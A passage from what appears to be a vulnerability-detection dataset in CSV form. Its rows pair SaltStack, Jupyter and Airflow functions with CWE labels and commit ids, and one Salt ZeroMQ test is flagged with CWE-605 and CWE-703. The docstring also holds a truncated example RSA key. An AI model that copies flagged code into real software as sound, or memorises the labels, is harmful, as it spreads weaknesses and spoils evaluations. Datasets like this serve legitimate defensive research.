                    B/HaAre9euNiY3LvIzBTWRSeMfT+rWvIKVBpvwlgGrfgz70m0pqxu+UyFbAGLin+
                    GpxzZAMaFpZw4sSbIlRuissXZj/sHpQb8p9M5IeO4Z3rjkCP1cxI
                    -----END RSA PRIVATE KEY-----

        .. note::

            The private key above is shortened to keep the example brief, but
            shows how to do multiline string in YAML. The key is followed by a
            pipe character, and the mutliline string is indented two more
            spaces.

            To avoid the hassle of creating an indented multiline YAML string,
            the :mod:`file_tree external pillar <salt.pillar.file_tree>` can
            be used instead. However, this will not work for binary files in
            Salt releases before 2015.8.4.

    contents_grains
        .. versionadded:: 2014.7.0

        Operates like ``contents``, but draws from a value stored in grains,
        using the grains path syntax used in :mod:`grains.get
        <salt.modules.grains.get>`. This functionality works similarly to
        ``contents_pillar``, but with grains.

        For example, the following could be used to deploy a ""message of the day""
        file:

        .. code-block:: yaml

            write_motd:
              file.managed:
                - name: /etc/motd
                - contents_grains: motd

        This would populate ``/etc/motd`` file with the contents of the ``motd``
        grain. The ``motd`` grain is not a default grain, and would need to be
        set prior to running the state:

        .. code-block:: bash

            salt '*' grains.set motd 'Welcome! This system is managed by Salt.'

    contents_newline : True
        .. versionadded:: 2014.7.0
        .. versionchanged:: 2015.8.4
            This option is now ignored if the contents being deployed contain
            binary data.

        If ``True``, files managed using ``contents``, ``contents_pillar``, or
        ``contents_grains`` will have a newline added to the end of the file if
        one is not present. Setting this option to ``False`` will omit this
        final newline.

    contents_delimiter
        .. versionadded:: 2015.8.4

        Can be used to specify an alternate delimiter for ``contents_pillar``
        or ``contents_grains``. This delimiter will be passed through to
        :py:func:`pillar.get <salt.modules.pillar.get>` or :py:func:`grains.get
        <salt.modules.grains.get>` when retrieving the contents.

    allow_empty : True
        .. versionadded:: 2015.8.4

        If set to ``False``, then the state will fail if the contents specified
        by ``contents_pillar`` or ``contents_grains`` are empty.

    follow_symlinks : True
        .. versionadded:: 2014.7.0

        If the desired path is a symlink follow it and make changes to the
        file to which the symlink points.

    check_cmd
        .. versionadded:: 2014.7.0

        The specified command will be run with the managed file as an argument.
        If the command exits with a nonzero exit code, the state will fail and
        no changes will be made to the file.

        For example, the following could be used to verify sudoers before making
        changes:

        .. code-block:: yaml

            /etc/sudoers:
              file.managed:
                - user: root
                - group: root
                - mode: 0440
                - source: salt://sudoers/files/sudoers.jinja
                - template: jinja
                - check_cmd: /usr/sbin/visudo -c -f

    '''
    name = os.path.expanduser(name)

    ret = {'changes': {},
           'comment': '',
           'name': name,
           'result': True}

    content_sources = (contents, contents_pillar, contents_grains)
    contents_count = len(
        [x for x in content_sources if x is not None]
    )

    if source and contents_count > 0:
        return _error(
            ret,
            '\'source\' cannot be used in combination with \'contents\', '
            '\'contents_pillar\', or \'contents_grains\''
        )
    elif contents_count > 1:
        return _error(
            ret,
            'Only one of \'contents\', \'contents_pillar\', and '
            '\'contents_grains\' is permitted'
        )

    # If no source is specified, set replace to False, as there is nothing
    # with which to replace the file.
    if not source and contents_count == 0 and replace:
        replace = False
        log.warning(
            'State for file: {0} - Neither \'source\' nor \'contents\' nor '
            '\'contents_pillar\' nor \'contents_grains\' was defined, yet '
            '\'replace\' was set to \'True\'. As there is no source to '
            'replace the file with, \'replace\' has been set to \'False\' to '
            'avoid reading the file unnecessarily.'.format(name)
        )

    # Use this below to avoid multiple '\0' checks and save some CPU cycles
    if contents_pillar is not None:
        use_contents = __salt__['pillar.get'](contents_pillar, __NOT_FOUND)
        if use_contents is __NOT_FOUND:
            return _error(
                ret,
                'Pillar {0} does not exist'.format(contents_pillar)
            )

    elif contents_grains is not None:
        use_contents = __salt__['grains.get'](contents_grains, __NOT_FOUND)
        if use_contents is __NOT_FOUND:
            return _error(
                ret,
                'Grain {0} does not exist'.format(contents_grains)
            )

    elif contents is not None:
        use_contents = contents

    else:
        use_contents = None

    if use_contents is not None:
        if not allow_empty and not use_contents:
            if contents_pillar:
                contents_id = 'contents_pillar {0}'.format(contents_pillar)
            elif contents_grains:
                contents_id = 'contents_grains {0}'.format(contents_grains)
            else:
                contents_id = '\'contents\''
            return _error(
                ret,
                '{0} value would result in empty contents. Set allow_empty '
                'to True to allow the managed file to be empty.'
                .format(contents_id)
            )

        contents_are_binary = \
            isinstance(use_contents, six.string_types) and '\0' in use_contents
        if contents_are_binary:
            contents = use_contents
        else:
            validated_contents = _validate_str_list(use_contents)
            if not validated_contents:
                return _error(
                    ret,
                    'Contents specified by contents/contents_pillar/'
                    'contents_grains is not a string or list of strings, and '
                    'is not binary data. SLS is likely malformed.'
                )
            contents = os.linesep.join(validated_contents)
            if contents_newline and not contents.endswith(os.linesep):
                contents += os.linesep
        if template:
            contents = __salt__['file.apply_template_on_contents'](
                contents,
                template=template,
                context=context,
                defaults=defaults,
                saltenv=__env__)
            if not isinstance(contents, six.string_types):
                if 'result' in contents:
                    ret['result'] = contents['result']
                else:
                    ret['result'] = False
                if 'comment' in contents:
                    ret['comment'] = contents['comment']
                else:
                    ret['comment'] = 'Error while applying template on contents'
                return ret

    # Make sure that leading zeros stripped by YAML loader are added back
    mode = __salt__['config.manage_mode'](mode)

    if not name:
        return _error(ret, 'Must provide name to file.exists')
    user = _test_owner(kwargs, user=user)
    if salt.utils.is_windows():
        if group is not None:
            log.warning(
                'The group argument for {0} has been ignored as this '
                'is a Windows system.'.format(name)
            )
        group = user
    if not create:
        if not os.path.isfile(name):
            # Don't create a file that is not already present
            ret['comment'] = ('File {0} is not present and is not set for '
                              'creation').format(name)
            return ret
    u_check = _check_user(user, group)
    if u_check:
        # The specified user or group do not exist
        return _error(ret, u_check)
    if not os.path.isabs(name):
        return _error(
            ret, 'Specified file {0} is not an absolute path'.format(name))

    if isinstance(env, six.string_types):
        msg = (
            'Passing a salt environment should be done using \'saltenv\' not '
            '\'env\'. This warning will go away in Salt Boron and this '
            'will be the default and expected behavior. Please update your '
            'state files.'
        )
        salt.utils.warn_until('Boron', msg)
        ret.setdefault('warnings', []).append(msg)
        # No need to set __env__ = env since that's done in the state machinery

    if os.path.isdir(name):
        ret['comment'] = 'Specified target {0} is a directory'.format(name)
        ret['result'] = False
        return ret

    if context is None:
        context = {}
    elif not isinstance(context, dict):
        return _error(
            ret, 'Context must be formed as a dict')
    if defaults and not isinstance(defaults, dict):
        return _error(
            ret, 'Defaults must be formed as a dict')

    if not replace and os.path.exists(name):
        # Check and set the permissions if necessary
        ret, _ = __salt__['file.check_perms'](name, ret, user, group, mode,
                                              follow_symlinks)
        if __opts__['test']:
            ret['comment'] = 'File {0} not updated'.format(name)
        elif not ret['changes'] and ret['result']:
            ret['comment'] = ('File {0} exists with proper permissions. '
                              'No changes made.'.format(name))
        return ret

    accum_data, _ = _load_accumulators()
    if name in accum_data:
        if not context:
            context = {}
        context['accumulator'] = accum_data[name]

    try:
        if __opts__['test']:
            ret['changes'] = __salt__['file.check_managed_changes'](
                name,
                source,
                source_hash,
                user,
                group,
                mode,
                template,
                context,
                defaults,
                __env__,
                contents,
                **kwargs
            )

            if ret['changes']:
                ret['result'] = None
                ret['comment'] = 'The file {0} is set to be changed'.format(name)
                if not show_diff:
                    ret['changes']['diff'] = '<show_diff=False>'
            else:
                ret['result'] = True
                ret['comment'] = 'The file {0} is in the correct state'.format(name)

            return ret

        # If the source is a list then find which file exists
        source, source_hash = __salt__['file.source_list'](
            source,
            source_hash,
            __env__
        )
    except CommandExecutionError as exc:
        ret['result'] = False
        ret['comment'] = 'Unable to manage file: {0}'.format(exc)
        return ret

    # Gather the source file from the server
    try:
        sfn, source_sum, comment_ = __salt__['file.get_managed'](
            name,
            template,
            source,
            source_hash,
            user,
            group,
            mode,
            __env__,
            context,
            defaults,
            **kwargs
        )
    except Exception as exc:
        ret['changes'] = {}
        log.debug(traceback.format_exc())
        return _error(ret, 'Unable to manage file: {0}'.format(exc))

    tmp_filename = None

    if check_cmd:
        tmp_filename = salt.utils.mkstemp()

        # if exists copy existing file to tmp to compare
        if __salt__['file.file_exists'](name):
            try:
                __salt__['file.copy'](name, tmp_filename)
            except Exception as exc:
                return _error(
                    ret,
                    'Unable to copy file {0} to {1}: {2}'.format(
                        name, tmp_filename, exc
                    )
                )

        try:
            ret = __salt__['file.manage_file'](
                tmp_filename,
                sfn,
                ret,
                source,
                source_sum,
                user,
                group,
                mode,
                __env__,
                backup,
                makedirs,
                template,
                show_diff,
                contents,
                dir_mode,
                follow_symlinks)
        except Exception as exc:
            ret['changes'] = {}
            log.debug(traceback.format_exc())
            if os.path.isfile(tmp_filename):
                os.remove(tmp_filename)
            return _error(ret, 'Unable to check_cmd file: {0}'.format(exc))

        # file being updated to verify using check_cmd
        if ret['changes']:
            # Reset ret
            ret = {'changes': {},
                   'comment': '',
                   'name': name,
                   'result': True}

            check_cmd_opts = {}
            if 'shell' in __grains__:
                check_cmd_opts['shell'] = __grains__['shell']

            cret = mod_run_check_cmd(check_cmd, tmp_filename, **check_cmd_opts)
            if isinstance(cret, dict):
                ret.update(cret)
                if os.path.isfile(tmp_filename):
                    os.remove(tmp_filename)
                return ret
            # Since we generated a new tempfile and we are not returning here
            # lets change the original sfn to the new tempfile or else we will
            # get file not found
            sfn = tmp_filename
        else:
            ret = {'changes': {},
                   'comment': '',
                   'name': name,
                   'result': True}

    if comment_ and contents is None:
        return _error(ret, comment_)
    else:
        try:
            return __salt__['file.manage_file'](
                name,
                sfn,
                ret,
                source,
                source_sum,
                user,
                group,
                mode,
                __env__,
                backup,
                makedirs,
                template,
                show_diff,
                contents,
                dir_mode,
                follow_symlinks)
        except Exception as exc:
            ret['changes'] = {}
            log.debug(traceback.format_exc())
            return _error(ret, 'Unable to manage file: {0}'.format(exc))
        finally:
            if tmp_filename and os.path.isfile(tmp_filename):
                os.remove(tmp_filename)",,saltstack/salt,31b96dec7b015ba42284f7cc390ac695fa2a9509,"def managed(name,
            source=None,
            source_hash='',
            user=None,
            group=None,
            mode=None,
            template=None,
            makedirs=False,
            dir_mode=None,
            context=None,
            replace=True,
            defaults=None,
            env=None,
            backup='',
            show_diff=True,
            create=True,
            contents=None,
            contents_pillar=None,
            contents_grains=None,
            contents_newline=True,
            contents_delimiter=':',
            allow_empty=True,
            follow_symlinks=True,
            check_cmd=None,
            **kwargs):
    '''
    Manage a given file, this function allows for a file to be downloaded from
    the salt master and potentially run through a templating system.

    name
        The location of the file to manage

    source
        The source file to download to the minion, this source file can be
        hosted on either the salt master server, or on an HTTP or FTP server.
        Both HTTPS and HTTP are supported as well as downloading directly
        from Amazon S3 compatible URLs with both pre-configured and automatic
        IAM credentials. (see s3.get state documentation)
        File retrieval from Openstack Swift object storage is supported via
        swift://container/object_path URLs, see swift.get documentation.
        For files hosted on the salt file server, if the file is located on
        the master in the directory named spam, and is called eggs, the source
        string is salt://spam/eggs. If source is left blank or None
        (use ~ in YAML), the file will be created as an empty file and
        the content will not be managed. This is also the case when a file
        already exists and the source is undefined; the contents of the file
        will not be changed or managed.

        If the file is hosted on a HTTP or FTP server then the source_hash
        argument is also required

        A list of sources can also be passed in to provide a default source and
        a set of fallbacks. The first source in the list that is found to exist
        will be used and subsequent entries in the list will be ignored. Source
        list functionality only supports local files and remote files hosted on
        the salt master server or retrievable via HTTP, HTTPS, or FTP.

        .. code-block:: yaml

            file_override_example:
              file.managed:
                - source:
                  - salt://file_that_does_not_exist
                  - salt://file_that_exists

    source_hash
        This can be one of the following:
            1. a source hash string
            2. the URI of a file that contains source hash strings

        The function accepts the first encountered long unbroken alphanumeric
        string of correct length as a valid hash, in order from most secure to
        least secure:

        .. code-block:: text

            Type    Length
            ======  ======
            sha512     128
            sha384      96
            sha256      64
            sha224      56
            sha1        40
            md5         32

        **Using a Source Hash File**
            The file can contain several checksums for several files. Each line
            must contain both the file name and the hash.  If no file name is
            matched, the first hash encountered will be used, otherwise the most
            secure hash with the correct source file name will be used.

            When using a source hash file the source_hash argument needs to be a
            url, the standard download urls are supported, ftp, http, salt etc:

            Example:

            .. code-block:: yaml

                tomdroid-src-0.7.3.tar.gz:
                  file.managed:
                    - name: /tmp/tomdroid-src-0.7.3.tar.gz
                    - source: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.tar.gz
                    - source_hash: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.hash

            The following is an example of the supported source_hash format:

            .. code-block:: text

                /etc/rc.conf ef6e82e4006dee563d98ada2a2a80a27
                sha254c8525aee419eb649f0233be91c151178b30f0dff8ebbdcc8de71b1d5c8bcc06a  /etc/resolv.conf
                ead48423703509d37c4a90e6a0d53e143b6fc268

            Debian file type ``*.dsc`` files are also supported.

        **Inserting the Source Hash in the sls Data**
            Examples:

            .. code-block:: yaml

                tomdroid-src-0.7.3.tar.gz:
                  file.managed:
                    - name: /tmp/tomdroid-src-0.7.3.tar.gz
                    - source: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.tar.gz
                    - source_hash: md5=79eef25f9b0b2c642c62b7f737d4f53f


        Known issues:
            If the remote server URL has the hash file as an apparent
            sub-directory of the source file, the module will discover that it
            has already cached a directory where a file should be cached. For
            example:

            .. code-block:: yaml

                tomdroid-src-0.7.3.tar.gz:
                  file.managed:
                    - name: /tmp/tomdroid-src-0.7.3.tar.gz
                    - source: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.tar.gz
                    - source_hash: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.tar.gz/+md5


    user
        The user to own the file, this defaults to the user salt is running as
        on the minion

    group
        The group ownership set for the file, this defaults to the group salt
        is running as on the minion On Windows, this is ignored

    mode
        The permissions to set on this file, aka 644, 0775, 4664. Not supported
        on Windows

    template
        If this setting is applied then the named templating engine will be
        used to render the downloaded file, currently jinja, mako, and wempy
        are supported

    makedirs : False
        If set to ``True``, then the parent directories will be created to
        facilitate the creation of the named file. If ``False``, and the parent
        directory of the destination file doesn't exist, the state will fail.

    dir_mode
        If directories are to be created, passing this option specifies the
        permissions for those directories. If this is not set, directories
        will be assigned permissions from the 'mode' argument.

    replace : True
        If set to ``False`` and the file already exists, the file will not be
        modified even if changes would otherwise be made. Permissions and
        ownership will still be enforced, however.

    context
        Overrides default context variables passed to the template.

    defaults
        Default context passed to the template.

    backup
        Overrides the default backup mode for this specific file.

    show_diff : True
        If set to ``False``, the diff will not be shown in the return data if
        changes are made.

    create : True
        If set to ``False``, then the file will only be managed if the file
        already exists on the system.

    contents
        Specify the contents of the file. Cannot be used in combination with
        ``source``. Ignores hashes and does not use a templating engine.

        This value can be either a single string, a multiline YAML string or a
        list of strings.  If a list of strings, then the strings will be joined
        together with newlines in the resulting file. For example, the below
        two example states would result in identical file contents:

        .. code-block:: yaml

            /path/to/file1:
              file.managed:
                - contents:
                  - This is line 1
                  - This is line 2

            /path/to/file2:
              file.managed:
                - contents: |
                    This is line 1
                    This is line 2


    contents_pillar
        .. versionadded:: 0.17.0

        Operates like ``contents``, but draws from a value stored in pillar,
        using the pillar path syntax used in :mod:`pillar.get
        <salt.modules.pillar.get>`. This is useful when the pillar value
        contains newlines, as referencing a pillar variable using a jinja/mako
        template can result in YAML formatting issues due to the newlines
        causing indentation mismatches.

        For example, the following could be used to deploy an SSH private key:

        .. code-block:: yaml

            /home/deployer/.ssh/id_rsa:
              file.managed:
                - user: deployer
                - group: deployer
                - mode: 600
                - contents_pillar: userdata:deployer:id_rsa

        This would populate ``/home/deployer/.ssh/id_rsa`` with the contents of
        ``pillar['userdata']['deployer']['id_rsa']``. An example of this pillar
        setup would be like so:

        .. code-block:: yaml

            userdata:
              deployer:
                id_rsa: |
                    -----BEGIN RSA PRIVATE KEY-----
                    MIIEowIBAAKCAQEAoQiwO3JhBquPAalQF9qP1lLZNXVjYMIswrMe2HcWUVBgh+vY
                    U7sCwx/dH6+VvNwmCoqmNnP+8gTPKGl1vgAObJAnMT623dMXjVKwnEagZPRJIxDy
                    B/HaAre9euNiY3LvIzBTWRSeMfT+rWvIKVBpvwlgGrfgz70m0pqxu+UyFbAGLin+
                    GpxzZAMaFpZw4sSbIlRuissXZj/sHpQb8p9M5IeO4Z3rjkCP1cxI
                    -----END RSA PRIVATE KEY-----

        .. note::

            The private key above is shortened to keep the example brief, but
            shows how to do multiline string in YAML. The key is followed by a
            pipe character, and the mutliline string is indented two more
            spaces.

            To avoid the hassle of creating an indented multiline YAML string,
            the :mod:`file_tree external pillar <salt.pillar.file_tree>` can
            be used instead. However, this will not work for binary files in
            Salt releases before 2015.8.4.

    contents_grains
        .. versionadded:: 2014.7.0

        Same as ``contents_pillar``, but with grains

    contents_newline : True
        .. versionadded:: 2014.7.0
        .. versionchanged:: 2015.8.4
            This option is now ignored if the contents being deployed contain
            binary data.

        If ``True``, files managed using ``contents``, ``contents_pillar``, or
        ``contents_grains`` will have a newline added to the end of the file if
        one is not present. Setting this option to ``False`` will omit this
        final newline.

    contents_delimiter
        .. versionadded:: 2015.8.4

        Can be used to specify an alternate delimiter for ``contents_pillar``
        or ``contents_grains``. This delimiter will be passed through to
        :py:func:`pillar.get <salt.modules.pillar.get>` or :py:func:`grains.get
        <salt.modules.grains.get>` when retrieving the contents.

    allow_empty : True
        .. versionadded:: 2015.8.4

        If set to ``False``, then the state will fail if the contents specified
        by ``contents_pillar`` or ``contents_grains`` are empty.

    follow_symlinks : True
        .. versionadded:: 2014.7.0

        If the desired path is a symlink follow it and make changes to the
        file to which the symlink points.

    check_cmd
        .. versionadded:: 2014.7.0

        The specified command will be run with the managed file as an argument.
        If the command exits with a nonzero exit code, the state will fail and
        no changes will be made to the file.

        For example, the following could be used to verify sudoers before making
        changes:

        .. code-block:: yaml

            /etc/sudoers:
              file.managed:
                - user: root
                - group: root
                - mode: 0440
                - source: salt://sudoers/files/sudoers.jinja
                - template: jinja
                - check_cmd: /usr/sbin/visudo -c -f

    '''
    name = os.path.expanduser(name)

    ret = {'changes': {},
           'comment': '',
           'name': name,
           'result': True}

    content_sources = (contents, contents_pillar, contents_grains)
    contents_count = len(
        [x for x in content_sources if x is not None]
    )

    if source and contents_count > 0:
        return _error(
            ret,
            '\'source\' cannot be used in combination with \'contents\', '
            '\'contents_pillar\', or \'contents_grains\''
        )
    elif contents_count > 1:
        return _error(
            ret,
            'Only one of \'contents\', \'contents_pillar\', and '
            '\'contents_grains\' is permitted'
        )

    # If no source is specified, set replace to False, as there is nothing
    # with which to replace the file.
    if not source and contents_count == 0 and replace:
        replace = False
        log.warning(
            'State for file: {0} - Neither \'source\' nor \'contents\' nor '
            '\'contents_pillar\' nor \'contents_grains\' was defined, yet '
            '\'replace\' was set to \'True\'. As there is no source to '
            'replace the file with, \'replace\' has been set to \'False\' to '
            'avoid reading the file unnecessarily.'.format(name)
        )

    # Use this below to avoid multiple '\0' checks and save some CPU cycles
    if contents_pillar is not None:
        use_contents = __salt__['pillar.get'](contents_pillar, __NOT_FOUND)
        if use_contents is __NOT_FOUND:
            return _error(
                ret,
                'Pillar {0} does not exist'.format(contents_pillar)
            )

    elif contents_grains is not None:
        use_contents = __salt__['grains.get'](contents_grains, __NOT_FOUND)
        if use_contents is __NOT_FOUND:
            return _error(
                ret,
                'Grain {0} does not exist'.format(contents_grains)
            )

    elif contents is not None:
        use_contents = contents

    else:
        use_contents = None

    if use_contents is not None:
        if not allow_empty and not use_contents:
            if contents_pillar:
                contents_id = 'contents_pillar {0}'.format(contents_pillar)
            elif contents_grains:
                contents_id = 'contents_grains {0}'.format(contents_grains)
            else:
                contents_id = '\'contents\''
            return _error(
                ret,
                '{0} value would result in empty contents. Set allow_empty '
                'to True to allow the managed file to be empty.'
                .format(contents_id)
            )

        contents_are_binary = \
            isinstance(use_contents, six.string_types) and '\0' in use_contents
        if contents_are_binary:
            contents = use_contents
        else:
            validated_contents = _validate_str_list(use_contents)
            if not validated_contents:
                return _error(
                    ret,
                    'Contents specified by contents/contents_pillar/'
                    'contents_grains is not a string or list of strings, and '
                    'is not binary data. SLS is likely malformed.'
                )
            contents = os.linesep.join(validated_contents)
            if contents_newline and not contents.endswith(os.linesep):
                contents += os.linesep
        if template:
            contents = __salt__['file.apply_template_on_contents'](
                contents,
                template=template,
                context=context,
                defaults=defaults,
                saltenv=__env__)
            if not isinstance(contents, six.string_types):
                if 'result' in contents:
                    ret['result'] = contents['result']
                else:
                    ret['result'] = False
                if 'comment' in contents:
                    ret['comment'] = contents['comment']
                else:
                    ret['comment'] = 'Error while applying template on contents'
                return ret

    # Make sure that leading zeros stripped by YAML loader are added back
    mode = __salt__['config.manage_mode'](mode)

    if not name:
        return _error(ret, 'Must provide name to file.exists')
    user = _test_owner(kwargs, user=user)
    if salt.utils.is_windows():
        if group is not None:
            log.warning(
                'The group argument for {0} has been ignored as this '
                'is a Windows system.'.format(name)
            )
        group = user
    if not create:
        if not os.path.isfile(name):
            # Don't create a file that is not already present
            ret['comment'] = ('File {0} is not present and is not set for '
                              'creation').format(name)
            return ret
    u_check = _check_user(user, group)
    if u_check:
        # The specified user or group do not exist
        return _error(ret, u_check)
    if not os.path.isabs(name):
        return _error(
            ret, 'Specified file {0} is not an absolute path'.format(name))

    if isinstance(env, six.string_types):
        msg = (
            'Passing a salt environment should be done using \'saltenv\' not '
            '\'env\'. This warning will go away in Salt Boron and this '
            'will be the default and expected behavior. Please update your '
            'state files.'
        )
        salt.utils.warn_until('Boron', msg)
        ret.setdefault('warnings', []).append(msg)
        # No need to set __env__ = env since that's done in the state machinery

    if os.path.isdir(name):
        ret['comment'] = 'Specified target {0} is a directory'.format(name)
        ret['result'] = False
        return ret

    if context is None:
        context = {}
    elif not isinstance(context, dict):
        return _error(
            ret, 'Context must be formed as a dict')
    if defaults and not isinstance(defaults, dict):
        return _error(
            ret, 'Defaults must be formed as a dict')

    if not replace and os.path.exists(name):
        # Check and set the permissions if necessary
        ret, _ = __salt__['file.check_perms'](name, ret, user, group, mode,
                                              follow_symlinks)
        if __opts__['test']:
            ret['comment'] = 'File {0} not updated'.format(name)
        elif not ret['changes'] and ret['result']:
            ret['comment'] = ('File {0} exists with proper permissions. '
                              'No changes made.'.format(name))
        return ret

    accum_data, _ = _load_accumulators()
    if name in accum_data:
        if not context:
            context = {}
        context['accumulator'] = accum_data[name]

    try:
        if __opts__['test']:
            ret['changes'] = __salt__['file.check_managed_changes'](
                name,
                source,
                source_hash,
                user,
                group,
                mode,
                template,
                context,
                defaults,
                __env__,
                contents,
                **kwargs
            )

            if ret['changes']:
                ret['result'] = None
                ret['comment'] = 'The file {0} is set to be changed'.format(name)
                if not show_diff:
                    ret['changes']['diff'] = '<show_diff=False>'
            else:
                ret['result'] = True
                ret['comment'] = 'The file {0} is in the correct state'.format(name)

            return ret

        # If the source is a list then find which file exists
        source, source_hash = __salt__['file.source_list'](
            source,
            source_hash,
            __env__
        )
    except CommandExecutionError as exc:
        ret['result'] = False
        ret['comment'] = 'Unable to manage file: {0}'.format(exc)
        return ret

    # Gather the source file from the server
    try:
        sfn, source_sum, comment_ = __salt__['file.get_managed'](
            name,
            template,
            source,
            source_hash,
            user,
            group,
            mode,
            __env__,
            context,
            defaults,
            **kwargs
        )
    except Exception as exc:
        ret['changes'] = {}
        log.debug(traceback.format_exc())
        return _error(ret, 'Unable to manage file: {0}'.format(exc))

    tmp_filename = None

    if check_cmd:
        tmp_filename = salt.utils.mkstemp()

        # if exists copy existing file to tmp to compare
        if __salt__['file.file_exists'](name):
            try:
                __salt__['file.copy'](name, tmp_filename)
            except Exception as exc:
                return _error(
                    ret,
                    'Unable to copy file {0} to {1}: {2}'.format(
                        name, tmp_filename, exc
                    )
                )

        try:
            ret = __salt__['file.manage_file'](
                tmp_filename,
                sfn,
                ret,
                source,
                source_sum,
                user,
                group,
                mode,
                __env__,
                backup,
                makedirs,
                template,
                show_diff,
                contents,
                dir_mode,
                follow_symlinks)
        except Exception as exc:
            ret['changes'] = {}
            log.debug(traceback.format_exc())
            if os.path.isfile(tmp_filename):
                os.remove(tmp_filename)
            return _error(ret, 'Unable to check_cmd file: {0}'.format(exc))

        # file being updated to verify using check_cmd
        if ret['changes']:
            # Reset ret
            ret = {'changes': {},
                   'comment': '',
                   'name': name,
                   'result': True}

            check_cmd_opts = {}
            if 'shell' in __grains__:
                check_cmd_opts['shell'] = __grains__['shell']

            cret = mod_run_check_cmd(check_cmd, tmp_filename, **check_cmd_opts)
            if isinstance(cret, dict):
                ret.update(cret)
                if os.path.isfile(tmp_filename):
                    os.remove(tmp_filename)
                return ret
            # Since we generated a new tempfile and we are not returning here
            # lets change the original sfn to the new tempfile or else we will
            # get file not found
            sfn = tmp_filename
        else:
            ret = {'changes': {},
                   'comment': '',
                   'name': name,
                   'result': True}

    if comment_ and contents is None:
        return _error(ret, comment_)
    else:
        try:
            return __salt__['file.manage_file'](
                name,
                sfn,
                ret,
                source,
                source_sum,
                user,
                group,
                mode,
                __env__,
                backup,
                makedirs,
                template,
                show_diff,
                contents,
                dir_mode,
                follow_symlinks)
        except Exception as exc:
            ret['changes'] = {}
            log.debug(traceback.format_exc())
            return _error(ret, 'Unable to manage file: {0}'.format(exc))
        finally:
            if tmp_filename and os.path.isfile(tmp_filename):
                os.remove(tmp_filename)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/sessions/tests/test_sessions_api.py,0,"def modify_kernel_name(self, id, kernel_name):
        body = json.dumps({'kernel': {'name': kernel_name}})
        return self._req('PATCH', id, body)",,jupyter/notebook,7174d9d967103cafa94ba2c5308d6d9df32c6179,"def modify_kernel_name(self, id, kernel_name):
        body = json.dumps({'kernel': {'name': kernel_name}})
        return self._req('PATCH', id, body)"
,UNKNOWN,UNKNOWN,tests/unit/transport/test_zeromq.py,1,,"CWE-605, CWE-703",saltstack/salt,f14ff166269878f9a04ec31bfde7ee37889c4902,"def test_master_uri(self):
        '''
        test _get_master_uri method
        '''

        m_ip = '127.0.0.1'
        m_port = 4505
        s_ip = '111.1.0.1'
        s_port = 4058

        m_ip6 = '1234:5678::9abc'
        s_ip6 = '1234:5678::1:9abc'

        with patch('salt.transport.zeromq.LIBZMQ_VERSION_INFO', (4, 1, 6)), \
            patch('salt.transport.zeromq.ZMQ_VERSION_INFO', (16, 0, 1)):
            # pass in both source_ip and source_port
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port,
                                                         source_ip=s_ip,
                                                         source_port=s_port) == 'tcp://{0}:{1};{2}:{3}'.format(s_ip, s_port, m_ip, m_port)

            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip6,
                                                         master_port=m_port,
                                                         source_ip=s_ip6,
                                                         source_port=s_port) == 'tcp://[{0}]:{1};[{2}]:{3}'.format(s_ip6, s_port, m_ip6, m_port)

            # source ip and source_port empty
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port) == 'tcp://{0}:{1}'.format(m_ip, m_port)

            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip6,
                                                         master_port=m_port) == 'tcp://[{0}]:{1}'.format(m_ip6, m_port)

            # pass in only source_ip
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port,
                                                         source_ip=s_ip) == 'tcp://{0}:0;{1}:{2}'.format(s_ip, m_ip, m_port)

            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip6,
                                                         master_port=m_port,
                                                         source_ip=s_ip6) == 'tcp://[{0}]:0;[{1}]:{2}'.format(s_ip6, m_ip6, m_port)

            # pass in only source_port
            assert salt.transport.zeromq._get_master_uri(master_ip=m_ip,
                                                         master_port=m_port,
                                                         source_port=s_port) == 'tcp://0.0.0.0:{0};{1}:{2}'.format(s_port, m_ip, m_port)

            # pass in only master_port and ipv6 source_ip and source_port
            assert salt.transport.zeromq._get_master_uri('::', m_port,
                                                         source_ip=m_port,
                                                         source_port=s_port) == 'tcp://[::]:{0};[{1}]:{2}'.format(m_port, s_ip6, s_port)"
,UNKNOWN,UNKNOWN,tests/serialization/test_dag_serialization.py,1,"def test_no_new_fields_added_to_base_operator(self):
        """"""
        This test verifies that there are no new fields added to BaseOperator. And reminds that
        tests should be added for it.
        """"""
        base_operator = BaseOperator(task_id=""10"")
        fields = {k: v for (k, v) in vars(base_operator).items() if k in BaseOperator.get_serialized_fields()}
        assert fields == {
            ""_logger_name"": None,
            ""_log_config_logger_name"": ""airflow.task.operators"",
            ""_post_execute_hook"": None,
            ""_pre_execute_hook"": None,
            ""allow_nested_operators"": True,
            ""depends_on_past"": False,
            ""do_xcom_push"": True,
            ""doc"": None,
            ""doc_json"": None,
            ""doc_md"": None,
            ""doc_rst"": None,
            ""doc_yaml"": None,
            ""downstream_task_ids"": set(),
            ""email"": None,
            ""email_on_failure"": True,
            ""email_on_retry"": True,
            ""execution_timeout"": None,
            ""executor_config"": {},
            ""ignore_first_depends_on_past"": True,
            ""inlets"": [],
            ""map_index_template"": None,
            ""max_active_tis_per_dag"": None,
            ""max_active_tis_per_dagrun"": None,
            ""max_retry_delay"": None,
            ""on_execute_callback"": None,
            ""on_failure_callback"": None,
            ""on_retry_callback"": None,
            ""on_skipped_callback"": None,
            ""on_success_callback"": None,
            ""outlets"": [],
            ""owner"": ""airflow"",
            ""params"": {},
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 1,
            ""queue"": ""default"",
            ""resources"": None,
            ""retries"": 0,
            ""retry_delay"": timedelta(0, 300),
            ""retry_exponential_backoff"": False,
            ""run_as_user"": None,
            ""sla"": None,
            ""task_id"": ""10"",
            ""trigger_rule"": ""all_success"",
            ""wait_for_downstream"": False,
            ""wait_for_past_depends_before_skipping"": False,
            ""weight_rule"": _DownstreamPriorityWeightStrategy(),
            ""multiple_outputs"": False,
        }, """"""
